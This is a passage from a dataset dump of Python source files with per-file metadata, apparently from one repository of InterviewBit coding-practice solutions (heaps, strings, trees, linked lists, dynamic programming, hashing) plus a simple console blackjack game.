B[pointer2]:\n pointer1 += 1\n elif A[pointer1] > B[pointer2]:\n pointer2 += 1\n elif A[pointer1] == B[pointer2]:\n intersection.append(A[pointer1])\n pointer1 += 1\n pointer2 += 1\n return intersection\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.intersection([ -4, -2, 3 ], [ -2, -2 ]))" }, { "alpha_fraction": 0.33601483702659607, "alphanum_fraction": 0.3570544421672821, "avg_line_length": 27.36842155456543, "blob_id": "04a74b26638a9ab47fb88b9affb7a6fa22ae351b", "content_id": "b8105e4257581ce5253bd89901164af0525488c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1616, "license_type": "no_license", "max_line_length": 71, "num_lines": 57, "path": "/heaps and maps/distinctNumber.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import heapq\n\nclass Solution():\n\n def distinct(self, A, B):\n heap = []\n if B > len(A):\n return []\n out = []\n index = 0\n n = len(A)\n for i in range(n - B + 1):\n while index < i + B:\n mode = 0\n m = len(heap)\n for j in range(m):\n if heap[j][1] == A[index]:\n heap[j] = (index, A[index])\n heapq.heapify(heap)\n mode = 1\n break\n if mode == 0:\n heapq.heappush(heap, (index, A[index]))\n index += 1\n out.append(len(heap))\n # print(heap)\n if heap[0][0] == i:\n val = heapq.heappop(heap)\n # print (val)\n return out\n\n def distinctNum(self, A, B):\n hash_map = {}\n if B > len(A):\n return []\n out = []\n index = 0\n n = len(A)\n count = 0\n for i in range(n - B + 1):\n while index < i + B:\n if A[index] not in hash_map or hash_map[A[index]] == 0:\n hash_map[A[index]] = 1\n count += 1\n else:\n hash_map[A[index]] += 1\n index += 1\n out.append(count)\n hash_map[A[i]] -= 1\n if hash_map[A[i]] == 0:\n count -= 1\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.distinct([1, 1, 1, 1, 1, 1], 3))\n # print(sol.distinctNum([1, 1, 1, 1, 1, 1], 3))" }, { "alpha_fraction": 0.4352065622806549, "alphanum_fraction": 0.4606107175350189, "avg_line_length": 34.11711883544922, "blob_id": "215b19919c765bb388a0e37f629e5ee1f7fe95ea", "content_id": "5781060db4521a3d61693d25cb403f2b97cb2030", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3897, "license_type": "no_license", "max_line_length": 104, "num_lines": 111, "path": "/heaps and maps/NmaxPairCombination.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class MaxHeap():\n def __init__(self):\n self.heap = []\n self.size = 0\n\n def insert_element(self, value):\n if len(self.heap) <= self.size:\n self.heap.append(value)\n else:\n self.heap[self.size] = value\n self.heapifyUp()\n self.size += 1\n\n def get_root_element(self):\n value = self.heap[0] if self.size > 0 else None\n self.heap[0] = self.heap[self.size - 1]\n self.size -= 1\n self.heapifyDown()\n return value\n\n def heapifyUp(self):\n child = self.size\n parent = int((child - 1) / 2)\n while parent != child:\n parent_value = self.heap[parent][0]\n child_value = self.heap[child][0]\n if parent_value >= child_value:\n break\n else:\n self.heap[parent], self.heap[child] = self.heap[child], self.heap[parent]\n child = parent\n parent = int((child - 1) / 2)\n\n def heapifyDown(self):\n parent = 0\n while parent <= self.size:\n child = parent\n left_child = parent * 2 + 1\n if left_child < self.size and self.heap[child][0] < self.heap[left_child][0]:\n child = left_child\n right_child = parent * 2 + 2\n if right_child < self.size and self.heap[child][0] < self.heap[right_child][0]:\n child = right_child\n if child == parent:\n break\n self.heap[parent], self.heap[child] = self.heap[child], self.heap[parent]\n parent = child\n\n def print_element(self):\n for i in range(self.size):\n print(self.heap[i], end=' ')\n print()\n\n\nclass Solution:\n # @param A : list of integers\n # @param B : list of integers\n # @return a list of integers\n def solve(self, A, B):\n A.sort()\n B.sort()\n heap = MaxHeap()\n output = []\n i = 0\n n = len(A)\n index_map = {}\n index_map[n - 1] = {}\n index_map[n - 1][n - 1] = 1\n heap.insert_element((A[n - 1] + B[n - 1], n - 1, n - 1))\n while i < n:\n element = heap.get_root_element()\n print (element)\n output.append(element[0])\n if element[1] - 1 not in index_map:\n print (\"inside 1\")\n index_map[element[1] - 1] = {}\n index_map[element[1] - 1][element[2]] = 1\n heap.insert_element((A[element[1] - 1] + B[element[2]], element[1] - 1, element[2]))\n print (index_map)\n else:\n if element[2] not in index_map[element[1] - 1]:\n print(\"inside 2\")\n index_map[element[1] - 1][element[2]] = 1\n heap.insert_element((A[element[1] - 1] + B[element[2]], element[1] - 1, element[2]))\n print(index_map)\n else:\n print(\"inside 3\")\n # continue\n if element[1] not in index_map:\n print(\"inside 4\")\n index_map[element[1]] = {}\n index_map[element[1]][element[2] - 1] = 1\n heap.insert_element((A[element[1]] + B[element[2] - 1], element[1], element[2] - 1))\n print(index_map)\n else:\n if element[2] - 1 not in index_map[element[1]]:\n print(\"inside 5\")\n index_map[element[1]][element[2] - 1] = 1\n heap.insert_element((A[element[1]] + B[element[2] - 1], element[1], element[2] - 1))\n print(index_map)\n else:\n print(\"inside 6\")\n # continue\n heap.print_element()\n i += 1\n return output\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.solve([ 3, 2, 4, 2 ], [ 4, 3, 1, 2 ]))" }, { "alpha_fraction": 0.3792048990726471, "alphanum_fraction": 0.3914373219013214, "avg_line_length": 23.259260177612305, "blob_id": "ef157cea24dec14e3cb34302aa6dcfdfe63313f3", "content_id": "4ff2decad0de70d85740439038352cff0cd48733", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 654, "license_type": "no_license", "max_line_length": 69, "num_lines": 27, "path": "/Strings/palindromeString.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def palindromeString(self, A):\n\n left = 0\n right = len(A) - 1\n A = A.lower()\n while right > left:\n # print (f\"{left} :: {right} :: {A[left]} :: {A[right]}\")\n l = A[left]\n r = A[right]\n if not l.isalnum():\n left += 1\n continue\n if not r.isalnum():\n right -= 1\n continue\n if A[left] != A[right]:\n return 0\n left += 1\n right -= 1\n return 1\n\nif __name__ == \"__main__\":\n\n sol = Solution()\n print (sol.palindromeString(\"race a car\"))" }, { "alpha_fraction": 0.3915857672691345, "alphanum_fraction": 0.4207119643688202, "avg_line_length": 24.83333396911621, "blob_id": "f2afc1aa8991eb15812b74543fd734bd2e0fcf14", "content_id": "e72b837fac2558f06e56079103a056b274f8c3ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 309, "license_type": "no_license", "max_line_length": 35, "num_lines": 12, "path": "/Bit Manipulation/reverseBits.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : unsigned integer\n # @return an unsigned integer\n def reverse(self, A):\n value = 0\n for i in range(31, -1, -1):\n if A == 0:\n break\n if A & 1:\n value += pow(2, i)\n A = A >> 1\n return value" }, { "alpha_fraction": 0.44015151262283325, "alphanum_fraction": 0.4643939435482025, "avg_line_length": 20.30645179748535, "blob_id": "f5569e5a8e0355d30049963eae5a581c1fdac186", "content_id": "2e8d2de225b8528aea19d1a3db03ca5ae930a0d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1320, "license_type": "no_license", "max_line_length": 66, "num_lines": 62, "path": "/String Theory/sorting.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "def qsort(a):\n print (a)\n if len(a) == 0:\n return ''\n\n if len(a) == 1:\n return str(a[0])\n\n q = a[0]\n a_less = [elem for elem in a[1:] if elem < q]\n a_greater = [elem for elem in a[1:] if elem >= q]\n\n a_less = qsort(a_less)\n a_greater = qsort(a_greater)\n\n return a_less.strip() + ' ' + str(q) + ' ' + a_greater.strip()\n\ndef mergearray(a, b):\n i = 0\n j = 0\n # print (a)\n # print (b)\n n = len(a)\n m = len(b)\n output = []\n while i<n or j<m:\n if i >= n:\n output.append(b[j])\n j = j + 1\n elif j >= m:\n output.append(a[i])\n i = i + 1\n elif a[i] <= b[j]:\n output.append(a[i])\n i = i + 1\n else:\n output.append(b[j])\n j = j + 1\n return output\n # print (output)\n\n\ndef mergesort(a):\n print (a)\n length = len(a)\n if length == 0:\n return []\n if length == 1:\n return a\n\n median = int((length+1)/2)\n a_first = mergesort([a[i] for i in range(0, median)])\n a_second = mergesort([a[i] for i in range(median, length)])\n # print (\"Merging now\")\n # print (a_first)\n # print (a_second)\n return mergearray(a_first, a_second)\n\n\na = [15, 14, 13, 12, 11, 10, 9, 8, 7]\nprint (qsort(a).strip())\nprint (mergesort(a))" }, { "alpha_fraction": 0.43002545833587646, "alphanum_fraction": 0.44910940527915955, "avg_line_length": 26.13793182373047, "blob_id": "4b1118500359de959c2f899e5f944c436826a019", "content_id": "e6a905fbd77f878a94be7e3f6ea7d132843bed81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 786, "license_type": "no_license", "max_line_length": 64, "num_lines": 29, "path": "/String Theory/pythagorean_triplet.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import math\n\ndef find_triplet(arr):\n arr = sorted(arr)\n sqr_arr = arr\n arr = [int(math.pow(num, 2)) for num in arr]\n # print (sorted(arr))\n # print (arr.sort())\n print (arr)\n for i in range(len(arr)-1, 1, -1):\n sum = arr[i]\n start = 0\n end = i - 1\n while end > start:\n if sum > arr[start] + arr[end]:\n start = start + 1\n elif sum < arr[start] + arr[end]:\n end = end - 1\n else:\n print (sqr_arr[start], sqr_arr[end], sqr_arr[i])\n start = start + 1\n end = end - 1\n\nif __name__ == '__main__':\n # arr = input().strip().split()\n arr = [3, 1, 4, 6, 5]\n print (arr)\n # arr = [int(elem) for elem in arr]\n find_triplet(arr)" }, { "alpha_fraction": 0.3962264060974121, "alphanum_fraction": 0.4292452931404114, "avg_line_length": 24, "blob_id": "6af5e4eca86eb3931a66e2d2c4a3fcf5aadcb230", "content_id": "361c41d95458402ff241dac34c0676f8d9b79eaf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 424, "license_type": "no_license", "max_line_length": 55, "num_lines": 17, "path": "/DP/longestIncreasingSequence.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : tuple of integers\n # @return an integer\n def lis(self, A):\n seq = [1] * len(A)\n\n ## DP O(n*n)\n for i in range(len(A)):\n for j in range(i):\n if A[i] > A[j] and seq[j] + 1 > seq[i]:\n seq[i] = seq[j] + 1\n\n return max(seq)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.lis([50, 3, 10, 72, 40, 80]))" }, { "alpha_fraction": 0.4656856060028076, "alphanum_fraction": 0.47352495789527893, "avg_line_length": 32.05454635620117, "blob_id": "47e48c67ab2e2bb75b6156b912ec7c83d8066c74", "content_id": "9b2eedcf07937ecece48ec81c4ccbc92c64cc423", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7271, "license_type": "no_license", "max_line_length": 132, "num_lines": 220, "path": "/black_jack.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import random\n\nclass Card():\n\n def __init__(self, card_type):\n self.card_type = card_type\n if card_type in ['J', 'Q', 'K']:\n self.value = 10\n elif card_type == 'A':\n self.value = 11\n else:\n self.value = int(card_type)\n\n\nclass Deck():\n\n def __init__(self):\n self.initialise()\n\n def initialise(self):\n self.deck_values = self.create_deck()\n self.deck = [Card(card) for card in self.deck_values]\n\n def create_deck(self):\n deck = []\n for i in range(2, 11):\n deck.extend([str(i)] * 4)\n deck.extend(['J'] * 4)\n deck.extend(['Q'] * 4)\n deck.extend(['K'] * 4)\n deck.extend(['A'] * 4)\n return deck\n\n def get_card(self):\n random.shuffle(self.deck)\n print (len(self.deck))\n return self.deck.pop()\n\n def __str__(self):\n print (len(self.deck))\n\nclass Player():\n\n def __init__(self):\n self.balance = 0\n self.bet = 0\n\n def start_game(self, deck):\n self.cards = []\n self.sum = 0\n for i in range(0, 2):\n card = deck.get_card()\n self.cards.append(card.card_type)\n self.sum += card.value\n print(f\"Card fetched for Player is {self.cards[-1]}, sum is {self.sum}\")\n\n def add_card(self, card):\n self.cards.append(card.card_type)\n self.sum += card.value\n self.total_sum()\n print(f\"Card fetched for Player is {self.cards[-1]}, sum is {self.sum}\")\n\n def total_sum(self):\n if self.sum <= 21:\n return\n else:\n if 'A' in self.cards:\n self.cards[self.cards.index('A')] = '1'\n self.sum -= 10\n return\n\n def deposit(self, amount):\n self.balance += amount\n print (f\"Current Balance is {self.balance}\")\n\n def withdraw(self, amount):\n if amount < self.balance:\n print(f\"Insuiffient Funds!!! Current Balance is {self.balance}\")\n else:\n self.balance -= amount\n print (f\"Withdrawal successful!!! Current Balance is {self.balance}\")\n\n def betting(self, amount):\n if amount > self.balance:\n print(f\"Insuiffient Funds!!! Current Balance is {self.balance}\")\n return 0\n else:\n self.bet = amount\n self.balance -= amount\n print (f\"Bet Placed!!! Current Balance is {self.balance}\")\n return 1\n\nclass Computer():\n\n def __init__(self):\n self.balance = 0\n print (\"Computer is ready to play\")\n\n def start_game(self, deck):\n self.cards = []\n self.sum = 0\n card = deck.get_card()\n self.cards.append(card.card_type)\n self.sum += card.value\n print(f\"Card fetched for Computer is {self.cards[-1]}, sum is {self.sum}\")\n self.hidden_card = deck.get_card()\n print(f\"Hidden Card is fetched and kept seperately\")\n\n def add_hidden_card(self):\n return self.add_card(self.hidden_card)\n\n def add_card(self, card):\n self.cards.append(card.card_type)\n self.sum += card.value\n self.total_sum()\n print(f\"Card fetched for Computer is {self.cards[-1]}, sum is {self.sum}\")\n\n def total_sum(self):\n if self.sum <= 21:\n return\n else:\n if 'A' in self.cards:\n self.cards[self.cards.index('A')] = '1'\n self.sum -= 10\n return\n\n def add_amount(self, amount):\n self.balance += amount\n print (f\"Computer Current Balance is {self.balance}\")\n\n def show_earnings(self):\n print (f\"Computer Current Balance is {self.balance}\")\n\nclass BlackJack():\n\n def __init__(self):\n print(\"Welcome to Black Jack Game!!\")\n self.player = Player()\n self.computer = Computer()\n\n def start_game(self):\n self.deck = Deck()\n self.player.start_game(self.deck)\n self.computer.start_game(self.deck)\n\n def get_money_from_player(self):\n while True:\n try:\n amount = int(input(\"How much money you want to deposit:\"))\n except:\n print (\"Not a valid input!\")\n continue\n else:\n self.player.deposit(amount)\n break\n\n def play_time(self):\n self.get_money_from_player()\n while True:\n try:\n bet = int(input(\"How much you want to bet on this game?\"))\n if self.player.betting(bet):\n self.start_game()\n mode = 0\n while True:\n if self.player.sum == 21:\n print (f\"Player wins!! It's straight BlackJack!!\")\n self.player.deposit(self.player.bet * 2)\n mode = 1 # player won\n break\n elif self.player.sum > 21:\n print (f\"Player have lost this game!!\")\n print (f\"You have lost {self.player.bet} bucks\")\n mode = -1 # player lost\n break\n player_choice = input(\"You want to hit or stand?\")\n if player_choice == 'hit':\n card = self.deck.get_card()\n self.player.add_card(card)\n continue\n elif player_choice == 'stand':\n print (f\"Sum for player is {self.player.sum}\")\n break\n\n if mode != 0:\n continue\n self.computer.add_hidden_card()\n while True:\n if self.computer.sum == 21:\n print (f\"Computer wins!! It's straight BlackJack!!\")\n self.computer.add_amount(self.player.bet * 2)\n mode = 1 # player won\n break\n elif self.computer.sum > 21:\n print (f\"Computer have lost this game!!\")\n print (f\"You have lost {self.player.bet * 2} bucks\")\n self.computer.add_amount(self.player.bet * -2)\n self.player.deposit(self.player.bet * 2)\n mode = -1 # player lost\n break\n elif self.computer.sum in range(self.player.sum + 1,21):\n print (\"Computer wins!!!\")\n print (f\"Player have lost this game of {self.player.bet} bet, current balance is {self.player.balance}\")\n self.computer.add_amount(self.player.bet)\n break\n card = self.deck.get_card()\n self.computer.add_card(card)\n\n else:\n self.get_money_from_player()\n continue\n\n except:\n print (\"Not a valid input!!\")\n continue\n\n\nif __name__ == \"__main__\":\n black_jack = BlackJack()\n black_jack.play_time()" }, { "alpha_fraction": 0.32374101877212524, "alphanum_fraction": 0.4460431635379791, "avg_line_length": 36.93939208984375, "blob_id": "b1b790f9ce6269bdda9e6b305a365fd9c8a84ceb", "content_id": "b34ac3ebb530ea2c5187e25b30ef97fce6906f07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1251, "license_type": "no_license", "max_line_length": 246, "num_lines": 33, "path": "/arrays/maxset.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def maxSet(self, A):\n max_sum = 0\n last_sum = 0\n max_list = []\n last_list = []\n for i in range(len(A)):\n if A[i] < 0:\n if last_sum > max_sum:\n max_sum = last_sum\n max_list = last_list\n last_sum = 0\n last_list = []\n elif last_sum == max_sum:\n max_list = last_list if len(last_list) > len(max_list) else max_list\n last_sum = 0\n last_list = []\n else:\n last_sum = 0\n last_list = []\n else:\n last_list.append(A[i])\n last_sum += A[i]\n if last_sum > max_sum:\n max_list = last_list\n elif last_sum == max_sum:\n max_list = last_list if len(last_list) > len(max_list) else max_list\n return max_list\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.maxSet([ 24115, -75629, -46517, 30105, 19451, -82188, 99505, 6752, -36716, 54438, -51501, 83871, 11137, -53177, 22294, -21609, -59745, 53635, -98142, 27968, -260, 41594, 16395, 19113, 71006, -97942, 42082, -30767, 85695, -73671 ]))" }, { "alpha_fraction": 0.568740963935852, "alphanum_fraction": 0.5701881051063538, "avg_line_length": 35.421051025390625, "blob_id": "6266591fcd94fd25e88cc8a70cf4ffa83db5011f", "content_id": "eda797a3daaa8b3cc28d0c12fe5bc8b0c8c95cea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 691, "license_type": "no_license", "max_line_length": 85, "num_lines": 19, "path": "/Trees/pathSumValues.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def pathSumValues(self, A, B):\n out = []\n self.get_path_sum_values(A, B, 0, [], out)\n return out\n\n def get_path_sum_values(self, node, sum, current_sum, current_elem, out):\n if node == None:\n return\n current_elem = current_elem[:]\n current_elem.append(node.val)\n current_sum = current_sum + node.val\n if not node.left and not node.right:\n if current_sum == sum:\n out.append(current_elem)\n else:\n self.get_path_sum_values(node.left, sum, current_sum, current_elem, out)\n self.get_path_sum_values(node.right, sum, current_sum, current_elem, out)" }, { "alpha_fraction": 0.4609120488166809, "alphanum_fraction": 0.4609120488166809, "avg_line_length": 25.7391300201416, "blob_id": "45c03816bf97ac586b018c3f6c7d5fbe0e4b231c", "content_id": "694b876950e1a6c21aecc5d7dca4a994395ae1d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 614, "license_type": "no_license", "max_line_length": 50, "num_lines": 23, "path": "/Trees/nextGreatestNumberBST.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param A : root node of tree\n # @param B : integer\n # @return the root node in the tree\n def getSuccessor(self, A, B):\n value = None\n # print (A.val)\n # print (B)\n while A != None:\n if A.val > B:\n if not value or A.val < value.val:\n value = A\n A = A.left\n elif A.val <= B:\n A = A.right\n return value" }, { "alpha_fraction": 0.3991507291793823, "alphanum_fraction": 0.48195329308509827, "avg_line_length": 23.842105865478516, "blob_id": "bacdeb7eef1f930dfed1dcf52baf8831da52bb5b", "content_id": "4709bce0adc1315398f2c4a58e2e968064e83650", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 471, "license_type": "no_license", "max_line_length": 102, "num_lines": 19, "path": "/arrays/bit.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# class Solution:\n # @param a : list of integers\n # @param b : integer\n # @return a list of integers\ndef rotateArray(a, b):\n ret = []\n b = b % len(a)\n print (b)\n for i in range(len(a)):\n print (i)\n if i + b < len(a):\n ret.append(a[i + b])\n else:\n ret.append(a[i - b])\n print (ret)\n return ret\n\n\nprint (rotateArray([ 14, 5, 14, 34, 42, 63, 17, 25, 39, 61, 97, 55, 33, 96, 62, 32, 98, 77, 35 ], 56))" }, { "alpha_fraction": 0.4461206793785095, "alphanum_fraction": 0.4612068831920624, "avg_line_length": 23.447368621826172, "blob_id": "f0e35371bdc9f67db70b05a8ee364a13aa596b4b", "content_id": "3b21cb4b7059616bdde5b9e83d29883daf88af24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 928, "license_type": "no_license", "max_line_length": 65, "num_lines": 38, "path": "/backtracking/kthpermutation.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def kthpermutation(self, A, B):\n arr = list(range(1, A+1))\n result = []\n fact = self.get_fact(A-1)\n self.get_kthp(arr, B-1, [], fact, result)\n result = [str(val) for val in result]\n result = ''.join(result)\n return result\n\n def get_kthp(self, A, B, temp, fact, result):\n n = len(A)\n if n == 0:\n # out.append(temp)\n result.extend(temp)\n return\n # print (A)\n # print (fact)\n val = (B)//fact\n temp.append(A[val])\n A.pop(val)\n if n > 1:\n self.get_kthp(A, (B)%fact, temp, fact//(n-1), result)\n else:\n result.extend(temp)\n\n return\n\n def get_fact(self, n):\n num = 1\n for i in range(2, n+1):\n num *= i\n return num\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.kthpermutation(11, 14))" }, { "alpha_fraction": 0.4017467200756073, "alphanum_fraction": 0.4017467200756073, "avg_line_length": 23.157894134521484, "blob_id": "23ed359a848092403b903241cfd5c4fd2c133335", "content_id": "0b0d0e6edfa5a7d391f35ef820fb54336dfebc13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 458, "license_type": "no_license", "max_line_length": 51, "num_lines": 19, "path": "/Strings/lastWordLength.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def lastWordLength(self, A):\n n = len(A)\n last = ''\n word = ''\n for i in range(n):\n if A[i] == ' ':\n word = last if last != '' else word\n last = ''\n continue\n last += A[i]\n if last != '':\n word = last\n return len(word)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.lastWordLength(\"Hello World \"))" }, { "alpha_fraction": 0.46759259700775146, "alphanum_fraction": 0.5023148059844971, "avg_line_length": 18.590909957885742, "blob_id": "fe01d22097a0aa106aba18d48372380a714d1b40", "content_id": "fa3827c7df17cb8c36414201f372b9340ea08dce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 432, "license_type": "no_license", "max_line_length": 47, "num_lines": 22, "path": "/String Theory/zig_zag.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "\n\ninp = []\ninp.append(4)\ninp.append(3)\ninp.append(7)\ninp.append(8)\ninp.append(6)\ninp.append(2)\ninp.append(1)\nprint (inp)\n\nrelation = 'l'\nfor i in range(0, len(inp)-1):\n if relation == 'l':\n relation = 'r'\n if inp[i] > inp[i+1]:\n inp[i], inp[i+1] = inp[i+1], inp[i]\n elif relation == 'r':\n relation = 'l'\n if inp[i] < inp[i+1]:\n inp[i], inp[i+1] = inp[i+1], inp[i]\n\nprint (inp)" }, { "alpha_fraction": 0.323383092880249, "alphanum_fraction": 0.3457711338996887, "avg_line_length": 20.210525512695312, "blob_id": "f22c1e14b7a0aa09c3e216b4573f8bd76a67e2d7", "content_id": "107fd787c8e4ce87478b3697aedf371913ecb77d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 402, "license_type": "no_license", "max_line_length": 47, "num_lines": 19, "path": "/binary search/implementPowerFunction.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def power(self, x, y, d):\n value = 1\n if y == 0:\n return 0\n x = x % d\n while y > 0:\n if y & 1:\n value = (value * x) % d\n\n y = y>>1\n x = (x*x)%d\n # print (f\"{y} :: # x} :: {value}\")\n return value\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.power(2, 3, 3))" }, { "alpha_fraction": 0.3130590319633484, "alphanum_fraction": 0.35599285364151, "avg_line_length": 23.34782600402832, "blob_id": "5725adbd45af9a91ef1a618070412b2666bcdb86", "content_id": "580fb95baec2fab91352a6df26506fb93f2acc36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 559, "license_type": "no_license", "max_line_length": 41, "num_lines": 23, "path": "/math/prime_sum.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @return a list of integers\n def primesum(self, A):\n a = [1] * (A+1)\n a[0] = 0\n a[1] = 0\n for i in range(2, int(A**0.5)+1):\n if a[i] == 1:\n # a[i] = 1\n j = 2\n while i*j <= A:\n a[i*j] = 0\n j += 1\n for i in range(A):\n if a[i] and a[A-i]:\n return [i, A-i]\n return -1\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.primesum(16777214))" }, { "alpha_fraction": 0.6626712083816528, "alphanum_fraction": 0.6649543642997742, "avg_line_length": 50.55882263183594, "blob_id": "2a7eaa2b5a469eaaeaddf14bd058f237666ee5b8", "content_id": "0bb8619940d7fc0b599984fa9ee2d86a19ed21ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1752, "license_type": "no_license", "max_line_length": 836, "num_lines": 34, "path": "/hashing/anagrams.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def anagrams(self, A):\n n = len(A)\n hash_map = {}\n for i in range(n):\n val = [letter for letter in A[i]]\n val.sort()\n val = ''.join(val)\n if val in hash_map:\n hash_map[val].append(i+1)\n else:\n hash_map[val] = [i+1]\n\n out = []\n # print (hash_map)\n for i in range(n):\n val = [letter for letter in A[i]]\n val.sort()\n val = ''.join(val)\n length = len(hash_map[val])\n if length > 1:\n out.append(hash_map[val])\n hash_map[val] = []\n elif length == 1:\n out.append(hash_map[val])\n hash_map[val] = []\n # print(hash_map)\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.anagrams([ \"abbbaabbbabbbbabababbbbbbbaabaaabbaaababbabbabbaababbbaaabbabaabbaabbabbbbbababbbababbbbaabababba\", \"abaaabbbabaaabbbbabaabbabaaaababbbbabbbaaaabaababbbbaaaabbbaaaabaabbaaabbaabaaabbabbaaaababbabbaa\", \"babbabbaaabbbbabaaaabaabaabbbabaabaaabbbbbbabbabababbbabaabaabbaabaabaabbaabbbabaabbbabaaaabbbbab\", \"bbbabaaabaaaaabaabaaaaaaabbabaaaabbababbabbabbaabbabaaabaabbbabbaabaabaabaaaabbabbabaaababbaababb\", \"abbbbbbbbbbbbabaabbbbabababaabaabbbababbabbabaaaabaabbabbaaabbaaaabbaabbbbbaaaabaaaaababababaabab\", \"aabbbbaaabbaabbbbabbbbbaabbababbbbababbbabaabbbbbbababaaaabbbabaabbbbabbbababbbaaabbabaaaabaaaaba\", \"abbaaababbbabbbbabababbbababbbaaaaabbbbbbaaaabbaaabbbbbbabbabbabbaabbbbaabaabbababbbaabbbaababbaa\", \"aabaaabaaaaaabbbbaabbabaaaabbaababaaabbabbaaaaababaaabaabbbabbababaabababbaabaababbaabbabbbaaabbb\" ]))\n print (sol.anagrams([\"cat\", \"dog\", \"god\", \"tca\"]))" }, { "alpha_fraction": 0.37569060921669006, "alphanum_fraction": 0.38029465079307556, "avg_line_length": 24.255813598632812, "blob_id": "1874cca9e49a2405bd0f37039aaf392ec768ee24", "content_id": "80a97ba83f082df831bc415845b466c990e9f40f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1086, "license_type": "no_license", "max_line_length": 42, "num_lines": 43, "path": "/Linked LIst/reverseLinkListII.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n def reverseList(self, A, B, C):\n # ptr = A\n if C - B == 0:\n return A\n # for i in range(n-m+1):\n # ptr = ptr.next\n index = 1\n head = A\n start = None\n end = None\n last = None\n while A != None:\n if index == B - 1:\n start = A\n A = A.next\n elif index >= B and index < C:\n temp = A.next\n A.next = last\n last = A\n A = temp\n elif index == C:\n end = A.next\n A.next = last\n last = A\n break\n else:\n A = A.next\n index += 1\n if start == None:\n head.next = end\n head = last\n else:\n start.next.next = end\n start.next = last\n return head\n" }, { "alpha_fraction": 0.45953360199928284, "alphanum_fraction": 0.46639230847358704, "avg_line_length": 27.076923370361328, "blob_id": "ab99cd35d7c064f3d3e937a3861c0af1a46a1b3e", "content_id": "2844b52ae3e8e6c645791b9029bc098b688ba095", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 729, "license_type": "no_license", "max_line_length": 57, "num_lines": 26, "path": "/Trees/zigZagTree.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def zigZagTree(self, A):\n data = []\n self.get_data(A, data, 0)\n index = 0\n mode = False\n while True:\n # print (mode)\n if index >= len(data):\n break\n if mode:\n # print (\"entering\")\n data[index] = list(reversed(data[index]))\n index += 1\n mode = False if mode else True\n return data\n\n def get_data(self, node, data, depth):\n if node == None:\n return\n if depth >= len(data):\n data.append([])\n data[depth].append(node.val)\n self.get_data(node.left, data, depth + 1)\n self.get_data(node.right, data, depth + 1)" }, { "alpha_fraction": 0.36332181096076965, "alphanum_fraction": 0.3840830326080322, "avg_line_length": 28.64102554321289, "blob_id": 